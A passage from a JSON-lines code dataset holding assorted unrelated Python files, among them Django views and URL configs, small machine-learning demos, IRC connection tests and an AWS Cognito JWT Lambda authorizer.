'django.views.static.serve', \n {'document_root': settings.MEDIA_ROOT}),\n )\n","sub_path":"tida/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"100771389","text":"# -*- coding: utf-8 -*-\nimport tensorflow as tf\nimport pandas as pd\nimport numpy as np\nfrom sklearn.datasets import load_boston\nfrom sklearn.model_selection import train_test_split\n\n# 用tf自带波斯顿房价数据测试DNN模型\nboston=load_boston()\nprint(\"data of boston:\",boston.data.shape)\nprint(\"target of boston:\",boston.target.shape)\nboston_df = pd.DataFrame(np.c_[boston.data, boston.target], columns=np.append(boston.feature_names, 'MEDV'))\nLABEL_COLUMN = ['MEDV']\nFEATURE_COLUMNS = [f for f in boston_df if not f in LABEL_COLUMN]\n\nx_train, x_test, y_train, y_test = train_test_split(boston_df[FEATURE_COLUMNS], boston_df[LABEL_COLUMN], test_size=0.3)\nprint(' 训练集:{}\\n 测试集:{}'.format(x_train.shape, x_test.shape))\n\n\nfeature_columns = [tf.contrib.layers.real_valued_column(k) for k in FEATURE_COLUMNS]\nregressor = tf.contrib.learn.DNNRegressor(feature_columns=feature_columns,\n hidden_units=[64, 128],\n model_dir='E:/tensorflow/tmp/test1')\n\ndef input_fn(df, label):\n feature_cols = {k: tf.constant(df[k].values) for k in FEATURE_COLUMNS}\n label = tf.constant(label.values)\n return feature_cols, label\n\ndef train_input_fn():\n '''训练阶段使用的 input_fn'''\n return input_fn(x_train, y_train)\n\ndef test_input_fn():\n '''测试阶段使用的 input_fn'''\n return input_fn(x_test, y_test)\n\nregressor.fit(input_fn=train_input_fn, steps=5000)\nev = regressor.evaluate(input_fn=test_input_fn, steps=1)\nprint('ev: {}'.format(ev))\npredict = regressor.predict(input_fn=test_input_fn, as_iterable=False)\nprint('预测值: %s' % predict[:10])\nprint('实际值: %s'% y_test[:10])\n\n\n","sub_path":"tensorflow-nn-2.py","file_name":"tensorflow-nn-2.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"364113132","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom .forms import ScannerUploadForm\nfrom .models import File\n\n# Create your views here.\ndef scan(request):\n\treturn render(request, 'scan.html')\n\ndef scan_pdf_to_form(request):\n\tcontext = {}\n\tform = ScannerUploadForm(request.POST or None)\n\tif request.method == \"POST\":\n\t\tfiles = request.FILES.getlist('com_asprise_scannerjs_images[]')\n\t\tif form.is_valid() and len(files) <= 5:\n\t\t\tform_data = form.save(commit=False)\n\t\t\tform_data.save()\n\t\t\tfor chunk in files:\n\t\t\t\tfile = File()\n\t\t\t\tfile.uploader = form_data\n\t\t\t\tfile.image = chunk\n\t\t\t\tfile.save()\n\n\tcontext['form'] = form\n\treturn render(request, 'scan_pdf_to_form.html', context)\n","sub_path":"uploader/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"304231493","text":"class Node:\r\n def __init__(self, data):\r\n self.val = data\r\n self.left = None\r\n self.right = None\r\n\r\n\r\ndef lca(root, v1, v2):\r\n if root == None:\r\n return root\r\n if root.val == v1 or root.val == v2:\r\n return root\r\n left = lca(root.left, v1, v2)\r\n right = lca(root.right, v1, v2)\r\n\r\n if left != None and right != None:\r\n return root\r\n else:\r\n if left != None:\r\n return left\r\n elif right != None:\r\n return right\r\n\r\n\r\nroot = Node(4)\r\nroot.left = Node(2)\r\nroot.right = Node(7)\r\nroot.left.left = Node(1)\r\nroot.left.right = Node(3)\r\nroot.right.left = Node(6)\r\n\r\nancestor = lca(root, 1, 7)\r\nprint(ancestor.val)\r\n","sub_path":"tree/ancestor.py","file_name":"ancestor.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"283744583","text":"def test_connect(connection, events, writer, schedule, flush):\n \"\"\" Connection.Connect opens a writer, triggers CLIENT_CONNECT \"\"\"\n schedule(connection.connect())\n flush()\n assert connection.connected\n assert not writer.closed\n assert events.triggered(\"CLIENT_CONNECT\")\n\n\ndef test_already_connected(connection, events, writer, schedule, flush):\n \"\"\" Does not trigger CLIENT_CONNECT multiple times \"\"\"\n schedule(connection.connect(), connection.connect())\n flush()\n assert not writer.closed\n assert events.triggered(\"CLIENT_CONNECT\")\n\n\ndef test_disconnect_before_connect(connection, events, schedule, flush):\n \"\"\" disconnect before connect does nothing \"\"\"\n schedule(connection.disconnect())\n flush()\n assert not connection.connected\n assert not events.triggered(\"CLIENT_CONNECT\")\n assert not events.triggered(\"CLIENT_DISCONNECT\")\n\n\ndef test_disconnect(writer, patch_connection, events, connection,\n schedule, flush):\n \"\"\" Connection.disconnect closes writer, triggers CLIENT_DISCONNECT \"\"\"\n schedule(connection.connect(), connection.disconnect())\n flush()\n assert not connection.connected\n assert writer.closed\n assert connection.writer is None\n assert events.triggered(\"CLIENT_CONNECT\")\n assert events.triggered(\"CLIENT_DISCONNECT\")\n\n\ndef test_already_disconnected(connection, events, schedule, flush):\n \"\"\" Does not trigger CLIENT_DISCONNECT multiple times \"\"\"\n schedule(connection.connect(),\n connection.disconnect(),\n connection.disconnect())\n flush()\n assert events.triggered(\"CLIENT_CONNECT\")\n assert events.triggered(\"CLIENT_DISCONNECT\")\n\n\ndef test_send_before_connected(connection, writer):\n \"\"\" Nothing happens when sending before connecting \"\"\"\n assert not connection.connected\n connection.send(\"test\")\n assert not writer.used\n\n\ndef test_send_disconnected(connection, writer, schedule, flush):\n \"\"\" Nothing happens when sending after disconnecting \"\"\"\n schedule(connection.connect(), connection.disconnect())\n flush()\n connection.send(\"test\")\n assert not writer.used\n\n\ndef test_send_strips(connection, writer, loop):\n \"\"\" Send strips whitespace from string \"\"\"\n loop.run_until_complete(connection.connect())\n connection.send(\" a b c | @#$ d \")\n assert writer.used\n assert writer.has_written(\"a b c | @#$ d\\n\")\n\n\ndef test_read_before_connected(connection, reader, loop):\n \"\"\" Nothing happens when reading before connecting \"\"\"\n value = loop.run_until_complete(connection.read())\n assert not value\n assert not reader.used\n\n\ndef test_read_disconnected(connection, reader, schedule, flush, loop):\n \"\"\" Nothing happens when reading after disconnecting \"\"\"\n schedule(connection.connect(), connection.disconnect())\n flush()\n value = loop.run_until_complete(connection.read())\n assert not value\n assert not reader.used\n\n\ndef test_read_eoferror(connection, reader, loop):\n \"\"\" Nothing to read \"\"\"\n loop.run_until_complete(connection.connect())\n value = loop.run_until_complete(connection.read())\n assert not value\n assert reader.used\n\n\ndef test_read_strips(connection, reader, loop):\n \"\"\" newline and space characters are stripped off \"\"\"\n reader.push(\" a b c | @#$ d \\n\")\n loop.run_until_complete(connection.connect())\n value = loop.run_until_complete(connection.read())\n assert value == \"a b c | @#$ d\"\n assert reader.has_read(\" a b c | @#$ d \\n\")\n\n\ndef test_run_without_message(connection, events, loop):\n \"\"\" Connection.run should connect, read empty, disconnect, return \"\"\"\n loop.run_until_complete(connection.run())\n assert events.triggered(\"CLIENT_CONNECT\")\n assert events.triggered(\"CLIENT_DISCONNECT\")\n\n\ndef test_run_trigger_command(connection, reader, events, eventparams, loop):\n eventparams[\"PRIVMSG\"] = [\"nick\", \"user\", \"host\", \"target\", \"message\"]\n reader.push(\":nick!user@host PRIVMSG #target :this is message\")\n received = []\n\n @events.on(\"PRIVMSG\")\n def receive(nick, user, host, target, message):\n received.extend([nick, user, host, target, message])\n\n loop.run_until_complete(connection.run())\n assert reader.has_read(\":nick!user@host PRIVMSG #target :this is message\")\n assert events.triggered(\"PRIVMSG\")\n assert received == [\"nick\", \"user\", \"host\", \"#target\", \"this is message\"]\n\n\ndef test_run_trigger_unknown_command(connection, reader, events, loop):\n reader.push(\"unknown_command\")\n loop.run_until_complete(connection.run())\n\n assert reader.has_read(\"unknown_command\")\n assert not events.triggered(\"unknown_command\")\n","sub_path":"tests/test_connection.py","file_name":"test_connection.py","file_ext":"py","file_size_in_byte":4649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"112125138","text":"## Model parameters\nmodel_hidden_size = 256\nmodel_embedding_size = 256\nmodel_num_layers = 3\n\n\n## Training parameters\nlearning_rate_init = 1e-4\nspeakers_per_batch = 64\nutterances_per_speaker = 10\n\n## Mel-filterbank\nmel_window_length = 25 # In milliseconds\nmel_window_step = 10 # In milliseconds\nmel_n_channels = 40\n\n\n## Audio\nsampling_rate = 16000\n# Number of spectrogram frames in a partial utterance\npartials_n_frames = 160 # 1600 ms\n# Number of spectrogram frames at inference\ninference_n_frames = 80 # 800 ms\n\n\n## Voice Activation Detection\n# Window size of the VAD. Must be either 10, 20 or 30 milliseconds.\n# This sets the granularity of the VAD. Should not need to be changed.\nvad_window_length = 30 # In milliseconds\n# Number of frames to average together when performing the moving average smoothing.\n# The larger this value, the larger the VAD variations must be to not get smoothed out.\nvad_moving_average_width = 8\n# Maximum number of consecutive silent frames a segment can have.\nvad_max_silence_length = 6\n\n\n## Audio volume normalization\naudio_norm_target_dBFS = -30\n\nlibrispeech_datasets = {\n \"train\": {\n \"clean\": [\"LibriSpeech/train-clean-100\", \"LibriSpeech/train-clean-360\"],\n \"other\": [\"LibriSpeech/train-other-500\"]\n },\n \"test\": {\n \"clean\": [\"LibriSpeech/test-clean\"],\n \"other\": [\"LibriSpeech/test-other\"]\n },\n \"dev\": {\n \"clean\": [\"LibriSpeech/dev-clean\"],\n \"other\": [\"LibriSpeech/dev-other\"]\n },\n}\nlibritts_datasets = {\n \"train\": {\n \"clean\": [\"LibriTTS/train-clean-100\", \"LibriTTS/train-clean-360\"],\n \"other\": [\"LibriTTS/train-other-500\"]\n },\n \"test\": {\n \"clean\": [\"LibriTTS/test-clean\"],\n \"other\": [\"LibriTTS/test-other\"]\n },\n \"dev\": {\n \"clean\": [\"LibriTTS/dev-clean\"],\n \"other\": [\"LibriTTS/dev-other\"]\n },\n}\nvoxceleb_datasets = {\n \"voxceleb1\" : {\n \"train\": [\"VoxCeleb1/wav\"],\n \"test\": [\"VoxCeleb1/test_wav\"]\n },\n \"voxceleb2\" : {\n \"train\": [\"VoxCeleb2/dev/aac\"],\n \"test\": [\"VoxCeleb2/test_wav\"]\n }\n}\n\nother_datasets = [\n \"LJSpeech-1.1\",\n \"VCTK-Corpus/wav48\",\n]\n\nanglophone_nationalites = [\"australia\", \"canada\", \"ireland\", \"uk\", \"usa\"]\n","sub_path":"encoder/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"129996469","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom numpy import *\n\nclass KnnClassifier(object):\n\n def __init__(self,labels,samples):\n \"\"\" 教師データを使って分類器を初期化する \"\"\"\n\n self.labels = labels\n self.samples = samples\n\n def classify(self,point,k=3):\n \"\"\" pointを教師データ中のk個の最近傍を使って分類し、\n ラベルを返す \"\"\"\n\n # 全教師データへの距離を計算する\n dist = array([L2dist(point,s) for s in self.samples])\n\n # ソートする\n ndx = dist.argsort()\n\n # k個の最近傍を保持するのに辞書を用いる\n votes = {}\n for i in range(k):\n label = self.labels[ndx[i]]\n votes.setdefault(label,0)\n votes[label] += 1\n\n return max(votes, key=lambda x: votes.get(x))\n\ndef L2dist(p1,p2):\n return sqrt( sum( (p1-p2)**2) )\n","sub_path":"sample_code/chap8/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"443322645","text":"import tkinter as tk\n\nfrom tkinter import filedialog\nfrom tkinter import *\nfrom tkinter import TOP, E\n\nfrom Client import menu\n\n\nclass UploadPage(tk.Frame):\n def __init__(self, frame, gui):\n # parameter: frame\n # parameter: gui\n\n \"\"\"\n Init the frame.\n \"\"\"\n tk.Frame.__init__(self, frame)\n\n \"\"\"\n Creates a Label to display 'Upload'.\n \"\"\"\n label = tk.Label(self, text=\"Upload\")\n label.pack(side=TOP)\n\n # Frame used for organization\n top = tk.Frame(self)\n top.pack(side=TOP)\n\n # Frame used for organization\n bottom = tk.Frame(self)\n bottom.pack(side=TOP)\n\n \"\"\"\n Creates a Label to display 'Filename'.\n \"\"\"\n filenameText = tk.Label(top, text=\"Filename\")\n filenameText.grid(row=0, sticky=E)\n\n \"\"\"\n Creates a Entry to display a textbox for the client to enter the name of the file.\n \"\"\"\n self.filenameInput = tk.Entry(top)\n self.filenameInput.grid(row=0, column=1)\n\n \"\"\"\n Creates a Label to display 'Category'.\n \"\"\"\n categoryText = tk.Label(top, text=\"Category\")\n categoryText.grid(row=1, sticky=E)\n\n \"\"\"\n Creates a Entry to display a textbox for the client to enter the category of the file.\n \"\"\"\n self.categoryInput = tk.Entry(top)\n self.categoryInput.grid(row=1, column=1)\n\n \"\"\"\n Creates a Label to display 'Keywords'.\n \"\"\"\n keywordsText = tk.Label(top, text=\"Keywords\")\n keywordsText.grid(row=2, sticky=E)\n\n \"\"\"\n Creates a Entry to display a textbox for the client to enter the keywords of the file.\n \"\"\"\n self.keywordsInput = tk.Entry(top)\n self.keywordsInput.grid(row=2, column=1)\n\n \"\"\"\n Creates and adds a upload button.\n Takes all text the client enters and\n uploads the file with the corresponding information.\n \"\"\"\n uploadButton = tk.Button(bottom, text=\"Upload\",\n command=lambda: self.upload(gui,\n self.filenameInput.get(),\n self.categoryInput.get(),\n self.keywordsInput.get()))\n uploadButton.grid(row=0)\n\n \"\"\"\n Creates and adds a back button.\n Takes the client back to menu page when clicked on.\n \"\"\"\n backButton = tk.Button(bottom, text=\"Back\",\n command=lambda: self.back(gui))\n backButton.grid(row=0, column=1)\n\n def upload(self, gui, filename, category, keywords):\n gui.filename = filedialog.askopenfilename(initialdir=\"/\", title=\"Select file\")\n print(gui.filename)\n self.filenameInput.insert(0, gui.filename)\n response = gui.getClient().upload(filename, category, keywords)\n\n # self.filenameInput.delete(0, 'end')\n # self.categoryInput.delete(0, 'end')\n # self.keywordsInput.delete(0, 'end')\n\n def back(self, gui):\n # parameter: gui -> The GUI that is being used.\n\n \"\"\"\n Empties the textboxes before heading back to the starting page.\n \"\"\"\n self.filenameInput.delete(0, 'end')\n self.categoryInput.delete(0, 'end')\n self.keywordsInput.delete(0, 'end')\n\n \"\"\"\n Goes back to the starting page.\n \"\"\"\n gui.show_frame(menu.MenuPage)\n","sub_path":"Client/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":3521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"81638474","text":"from flask import Flask\nfrom webargs import fields\nfrom webargs.flaskparser import use_kwargs\n\napp = Flask(__name__)\n\n\n# @app.route(\"//\")\n# @use_kwargs({'name': fields.Str(required=False,location='query'), 'name0': fields.Str(required=False,location='query')})\n# def index( lang_code, **kargs):\n# print('#'*10, kargs)\n\n# return \"Hello \" + lang_code\n\n# from webargs import fields\n# from webargs.flaskparser import use_args\n\n# http://127.0.0.1:5000/user/1?per_page=101\n@app.route('/user/')\n@use_kwargs({'per_page': fields.Int(missing=100)}, location=\"query\")\ndef user_detail(per_page, uid):\n return ('The user page for user {uid}, '\n 'showing {per_page} posts.').format(uid=uid,\n per_page=per_page)\n\n\nif __name__ == \"__main__\":\n app.run()","sub_path":"i03Python-API-Development-Fundamentals/ch6email_confirmation/i3webargs_demo.py","file_name":"i3webargs_demo.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"181157983","text":"#!/usr/env/bin python3\n#-*-encoding:utf-8-*-\n\nfrom multiprocessing import Process\nimport os\n\ndef run_proc(name):\n print('Run child process %s(%s)'%(name, os.getpid()))\n\nif __name__ == '__main__':\n print('Parent process %s'% os.getpid())\n i = 10\n while i > 0 :\n p = Process(target=run_proc, args=('test%d'%i,))\n p.start()\n i = i - 1\n print('Child process end')","sub_path":"multithread/multidemo.py","file_name":"multidemo.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"302539581","text":"import re\nimport os\nimport json\nimport jose\nimport time\nimport requests\nfrom http import HTTPStatus\nfrom jose import jwk, jwt\nfrom jose.utils import base64url_decode\n\n\ndef lambda_handler(event, context):\n region = os.environ['AWS_DEFAULT_REGION']\n user_pool_id = os.environ['USER_POOL_ID']\n client_id = os.environ['CLIENT_ID']\n account_id = event['requestContext']['accountId']\n api_id = event['requestContext']['apiId']\n stage = event['requestContext']['stage']\n print(f'region:{region}, account_id:{account_id}, api_id:{api_id}, stage:{stage}, user_pool_id:{user_pool_id}')\n\n policy = AuthPolicy('', account_id)\n policy.region = region\n policy.restApiId = api_id\n policy.stage = stage\n\n try:\n # Validate IdToken\n token = event['headers']['Authorization']\n user_agent = event['headers']['User-Agent']\n validate_token(token, region, user_pool_id, client_id, user_agent)\n\n # Allow user to call APIGateway.\n policy.allowAllMethods()\n response = policy.build()\n print(response)\n return response\n except InvalidTokenError as e:\n policy.denyAllMethods()\n response = policy.build()\n response['context'] = {'message': e}\n print(response)\n return response\n except Exception as e:\n raise e\n\n\ndef validate_token(token: str, region: str, user_pool_id: str, client_id: str, user_agent: str):\n # Validate whether to match local public key and remote one.\n keys_url = f'https://cognito-idp.{region}.amazonaws.com/{user_pool_id}/.well-known/jwks.json'\n headers = jwt.get_unverified_headers(token)\n print(f'token:{token}')\n\n response = requests.get(keys_url)\n keys = json.loads(response.text)['keys']\n target_key = None\n for key in keys:\n if key['kid'] == headers['kid']:\n target_key = key\n if target_key is None:\n raise InvalidTokenError('Invalid public key in headers.')\n\n # Validate signature of JWT.\n public_key = jwk.construct(target_key)\n print(f'public_key:{public_key}')\n message = token.rsplit('.', 1)[0].encode('utf-8') # message = header + payload\n signature = token.rsplit('.', 1)[1].encode('utf-8')\n decode_signature = base64url_decode(signature)\n print(f'message:{message}')\n print(f'signature:{signature}')\n print(f'decode_signature:{decode_signature}')\n\n if not public_key.verify(message, decode_signature):\n raise InvalidTokenError('Invalid token signature.')\n\n # Validate expire of JWT.\n claims = jwt.get_unverified_claims(token)\n if time.time() > claims['exp']:\n raise InvalidTokenError('Token is expired.')\n\n # Validate aud claim which includes Client ID in Cognito.\n if claims['aud'] != client_id:\n raise InvalidTokenError('Invalid aud(Cognito Client ID).')\n\n # Validate UserAgent in header. This is allowed cognito-authorizer only.\n if user_agent != 'cognito-authorizer':\n raise InvalidTokenError('Invalid UserAgent.')\n\n\nclass InvalidTokenError(Exception):\n pass\n\n\nclass HttpVerb:\n GET = 'GET'\n POST = 'POST'\n PUT = 'PUT'\n PATCH = 'PATCH'\n HEAD = 'HEAD'\n DELETE = 'DELETE'\n OPTIONS = 'OPTIONS'\n ALL = '*'\n\n\nclass AuthPolicy(object):\n # The AWS account id the policy will be generated for. This is used to create the method ARNs.\n awsAccountId = ''\n # The principal used for the policy, this should be a unique identifier for the end user.\n principalId = ''\n # The policy version used for the evaluation. This should always be '2012-10-17'\n version = '2012-10-17'\n # The regular expression used to validate resource paths for the policy\n pathRegex = '^[/.a-zA-Z0-9-\\*]+$'\n\n '''Internal lists of allowed and denied methods.\n\n These are lists of objects and each object has 2 properties: A resource\n ARN and a nullable conditions statement. The build method processes these\n lists and generates the approriate statements for the final policy.\n '''\n allowMethods = []\n denyMethods = []\n\n # The API Gateway API id. By default this is set to '*'\n restApiId = '*'\n # The region where the API is deployed. By default this is set to '*'\n region = '*'\n # The name of the stage used in the policy. By default this is set to '*'\n stage = '*'\n\n def __init__(self, principal, awsAccountId):\n self.awsAccountId = awsAccountId\n self.principalId = principal\n self.allowMethods = []\n self.denyMethods = []\n\n def _addMethod(self, effect, verb, resource, conditions):\n '''Adds a method to the internal lists of allowed or denied methods. Each object in\n the internal list contains a resource ARN and a condition statement. The condition\n statement can be null.'''\n if verb != '*' and not hasattr(HttpVerb, verb):\n raise NameError('Invalid HTTP verb ' + verb + '. Allowed verbs in HttpVerb class')\n resourcePattern = re.compile(self.pathRegex)\n if not resourcePattern.match(resource):\n raise NameError('Invalid resource path: ' + resource + '. Path should match ' + self.pathRegex)\n\n if resource[:1] == '/':\n resource = resource[1:]\n\n resourceArn = 'arn:aws:execute-api:{}:{}:{}/{}/{}/{}'.format(self.region, self.awsAccountId, self.restApiId, self.stage, verb, resource)\n\n if effect.lower() == 'allow':\n self.allowMethods.append({\n 'resourceArn': resourceArn,\n 'conditions': conditions\n })\n elif effect.lower() == 'deny':\n self.denyMethods.append({\n 'resourceArn': resourceArn,\n 'conditions': conditions\n })\n\n def _getEmptyStatement(self, effect):\n '''Returns an empty statement object prepopulated with the correct action and the\n desired effect.'''\n statement = {\n 'Action': 'execute-api:Invoke',\n 'Effect': effect[:1].upper() + effect[1:].lower(),\n 'Resource': []\n }\n\n return statement\n\n def _getStatementForEffect(self, effect, methods):\n '''This function loops over an array of objects containing a resourceArn and\n conditions statement and generates the array of statements for the policy.'''\n statements = []\n\n if len(methods) > 0:\n statement = self._getEmptyStatement(effect)\n\n for curMethod in methods:\n if curMethod['conditions'] is None or len(curMethod['conditions']) == 0:\n statement['Resource'].append(curMethod['resourceArn'])\n else:\n conditionalStatement = self._getEmptyStatement(effect)\n conditionalStatement['Resource'].append(curMethod['resourceArn'])\n conditionalStatement['Condition'] = curMethod['conditions']\n statements.append(conditionalStatement)\n\n if statement['Resource']:\n statements.append(statement)\n\n return statements\n\n def allowAllMethods(self):\n '''Adds a '*' allow to the policy to authorize access to all methods of an API'''\n self._addMethod('Allow', HttpVerb.ALL, '*', [])\n\n def denyAllMethods(self):\n '''Adds a '*' allow to the policy to deny access to all methods of an API'''\n self._addMethod('Deny', HttpVerb.ALL, '*', [])\n\n def allowMethod(self, verb, resource):\n '''Adds an API Gateway method (Http verb + Resource path) to the list of allowed\n methods for the policy'''\n self._addMethod('Allow', verb, resource, [])\n\n def denyMethod(self, verb, resource):\n '''Adds an API Gateway method (Http verb + Resource path) to the list of denied\n methods for the policy'''\n self._addMethod('Deny', verb, resource, [])\n\n def allowMethodWithConditions(self, verb, resource, conditions):\n '''Adds an API Gateway method (Http verb + Resource path) to the list of allowed\n methods and includes a condition for the policy statement. More on AWS policy\n conditions here: http://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements.html#Condition'''\n self._addMethod('Allow', verb, resource, conditions)\n\n def denyMethodWithConditions(self, verb, resource, conditions):\n '''Adds an API Gateway method (Http verb + Resource path) to the list of denied\n methods and includes a condition for the policy statement. More on AWS policy\n conditions here: http://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements.html#Condition'''\n self._addMethod('Deny', verb, resource, conditions)\n\n def build(self):\n '''Generates the policy document based on the internal lists of allowed and denied\n conditions. This will generate a policy with two main statements for the effect:\n one statement for Allow and one statement for Deny.\n Methods that includes conditions will have their own statement in the policy.'''\n if ((self.allowMethods is None or len(self.allowMethods) == 0) and\n (self.denyMethods is None or len(self.denyMethods) == 0)):\n raise NameError('No statements defined for the policy')\n\n policy = {\n 'principalId': self.principalId,\n 'policyDocument': {\n 'Version': self.version,\n 'Statement': []\n }\n }\n\n policy['policyDocument']['Statement'].extend(self._getStatementForEffect('Allow', self.allowMethods))\n policy['policyDocument']['Statement'].extend(self._getStatementForEffect('Deny', self.denyMethods))\n\n return policy\n","sub_path":"custom-authorizar/authorizer.py","file_name":"authorizer.py","file_ext":"py","file_size_in_byte":9668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"216327799","text":"#---------------\n# Display Test Results\n#-----------\n# Run configuration for each query\ndef get_test_results(hs, qcxs, qdat, cfgx=0, nCfg=1, nocache_testres=False,\n test_results_verbosity=2):\n nQuery = len(qcxs)\n dcxs = hs.get_indexed_sample()\n test_uid = qdat.get_query_uid(hs, qcxs)\n cache_dir = join(hs.dirs.cache_dir, 'experiment_harness_results')\n io_kwargs = dict(dpath=cache_dir, fname='test_results', uid=test_uid,\n ext='.cPkl')\n\n if test_results_verbosity == 2:\n print('[harn] test_uid = %r' % test_uid)\n\n # High level caching\n if not params.args.nocache_query and (not nocache_testres):\n qx2_bestranks = io.smart_load(**io_kwargs)\n if qx2_bestranks is None:\n print('[harn] qx2_bestranks cache returned None!')\n elif len(qx2_bestranks) != len(qcxs):\n print('[harn] Re-Caching qx2_bestranks')\n elif not qx2_bestranks is None:\n return qx2_bestranks, [[{0: None}]] * nQuery\n #raise Exception('cannot be here')\n mc3.ensure_nn_index(hs, qdat, dcxs)\n nPrevQ = nQuery * cfgx\n qx2_bestranks = []\n\n # Make progress message\n msg = textwrap.dedent('''\n ---------------------\n [harn] TEST %d/%d\n ---------------------''')\n mark_progress = util.simple_progres_func(test_results_verbosity, msg, '.')\n total = nQuery * nCfg\n # Perform queries\n TEST_INFO = True\n # Query Chip / Row Loop\n for qx, qcx in enumerate(qcxs):\n count = qx + nPrevQ + 1\n mark_progress(count, total)\n if TEST_INFO:\n print('qcx=%r. quid=%r' % (qcx, qdat.get_uid()))\n try:\n res_list = mc3.execute_query_safe(hs, qdat, [qcx], dcxs)\n except mf.QueryException as ex:\n print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')\n print('Harness caught Query Exception: ')\n print(ex)\n print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')\n if params.args.strict:\n raise\n else:\n qx2_bestranks += [[-1]]\n continue\n\n assert len(res_list) == 1\n bestranks = []\n for qcx2_res in res_list:\n assert len(qcx2_res) == 1\n res = qcx2_res[qcx]\n gt_ranks = res.get_gt_ranks(hs=hs)\n #print('[harn] cx_ranks(/%4r) = %r' % (nChips, gt_ranks))\n #print('[harn] cx_ranks(/%4r) = %r' % (NMultiNames, gt_ranks))\n #print('ns_ranks(/%4r) = %r' % (nNames, gt_ranks))\n _bestrank = -1 if len(gt_ranks) == 0 else min(gt_ranks)\n bestranks += [_bestrank]\n # record metadata\n qx2_bestranks += [bestranks]\n if qcx % 4 == 0:\n sys.stdout.flush()\n print('')\n qx2_bestranks = np.array(qx2_bestranks)\n # High level caching\n util.ensuredir(cache_dir)\n io.smart_save(qx2_bestranks, **io_kwargs)\n\n return qx2_bestranks\n\n","sub_path":"_graveyard/get_test_results.py","file_name":"get_test_results.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"116888752","text":"from django.urls import path\nfrom .views import HomeView, customerProfile, productList, createProduct, update_product, delete_product, registerPage, loginPage, logoutUser, userPage, customerList, orderList, shippingAddress, billingAddress, adminAccount\n\napp_name = 'dashboard'\n\nurlpatterns = [\n path('dashboard/', HomeView, name=\"dashboard-home\"),\n path('dashboard/customer-profile//', customerProfile, name=\"customer-profile\"),\n path('dashboard/product-list/', productList, name=\"dashboard-product-list\"),\n path('dashboard/create-product/', createProduct.as_view(), name=\"create-product\"),\n path('dashboard/update-product//', update_product, name=\"update-product\"),\n path('dashboard/delete-product//', delete_product, name=\"delete-product\"),\n\n path('dashboard/customer-list/', customerList, name=\"customer-list\"),\n path('dashboard/order-list/', orderList, name=\"order-list\"),\n\n path('dashboard/register/', registerPage, name=\"dashboard-register\"),\n path('dashboard/login/', loginPage, name=\"dashboard-login\"),\n path('dashboard/logout/', logoutUser, name=\"dashboard-logout\"),\n\n path('dashboard/account/', adminAccount, name=\"dashboard-account\"),\n\n path('dashboard/user-page/', userPage.as_view(), name=\"user-page\"),\n\n path('shipping-address//', shippingAddress, name=\"shipping-address\"),\n path('billing-address//', billingAddress, name=\"billing-address\"),\n]","sub_path":"dashboard/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"339133519","text":"import typing\n\nfrom napari.utils.colormaps.colormap import Colormap\nfrom napari.utils.colormaps.colormap_utils import AVAILABLE_COLORMAPS\nfrom pydantic import Field\n\nfrom PartSegCore.color_image.color_data import sitk_labels\nfrom PartSegCore.utils import BaseModel\n\nNum = typing.Union[int, float]\n\n\nclass Color(BaseModel):\n \"\"\"\n store color information\n\n :param red: red color value\n :param green: green color value\n :param blue: blue color value\n :param alpha: alpha value\n \"\"\"\n\n red: float = Field(ge=0.0, le=1.0)\n green: float = Field(ge=0.0, le=1.0)\n blue: float = Field(ge=0.0, le=1.0)\n alpha: float = Field(1, ge=0.0, le=1.0)\n\n def as_tuple(self):\n return (self.red, self.green, self.blue, self.alpha)\n\n @classmethod\n def from_tuple(cls, tup):\n \"\"\"\n create color from tuple\n\n :param tup: tuple of color values\n :return: color\n \"\"\"\n return cls(red=tup[0], green=tup[1], blue=tup[2], alpha=tup[3] if len(tup) > 3 else 1)\n\n def is_close(self, other: \"Color\", epsilon: float = 1e-6) -> bool:\n \"\"\"\n check if color is close to other color\n\n :param other: other color\n :param epsilon: epsilon value\n :return: True if colors are close\n \"\"\"\n return (\n abs(self.red - other.red) < epsilon\n and abs(self.green - other.green) < epsilon\n and abs(self.blue - other.blue) < epsilon\n and abs(self.alpha - other.alpha) < epsilon\n )\n\n\nstarting_colors = [\"red\", \"green\", \"blue\", \"magenta\", \"inferno\", \"magma\"]\n\ndefault_colormap_dict = {name: AVAILABLE_COLORMAPS[name] for name in starting_colors}\ndefault_colormap_dict.update(AVAILABLE_COLORMAPS)\ndefault_colormap_dict.update(\n {\n 